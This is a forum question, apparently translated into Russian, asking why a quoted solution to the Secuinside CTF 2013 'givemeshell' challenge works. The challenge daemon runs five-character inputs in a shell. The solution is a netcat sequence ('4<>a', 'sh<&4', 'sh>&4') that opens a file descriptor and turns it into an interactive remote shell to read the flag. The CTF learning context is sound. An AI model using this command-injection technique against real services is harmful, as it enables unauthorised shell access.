В этот уик-энд произошел CTF wargame, Secuinside CTF 2013 (http://war.secuinside.com/)
Будучи энтузиастом компьютерной безопасности, я взглянул на проблемы и на их решения после завершения CTF.
Одна из проблем заключалась в получении удаленной оболочки на сервере, учитывая, что на этом сервере запущен демон, называемый "givemeshell". То, что делает демон, - это держать сокет открытым на выбранном порту, допустим, порт 12345.
Когда сокет получает что-то, демон принимает первые 5 символов и запускает их в оболочке.
Например, если я отправлю cat file
, демон запустит команду cat f
в оболочке. Ответ не отправляется, поэтому я не могу узнать результат команды.
Цель состоит в том, чтобы прочитать файл, содержащий флаг.
Теперь кто-то дал мне это решение:
$ nc 1.2.3.4 12345
4<>a
$ nc 1.2.3.4 12345
sh<&4
sh>&4
cat flag
The flag is _FLAG_
Я тестировал это решение, и оно работает. Но, потратив несколько часов, пытаясь понять это, я все еще не могу понять, что он делает и почему он работает. Я понимаю, что это перенаправление чего-то...
Может кто-нибудь объяснить это мне? Спасибо!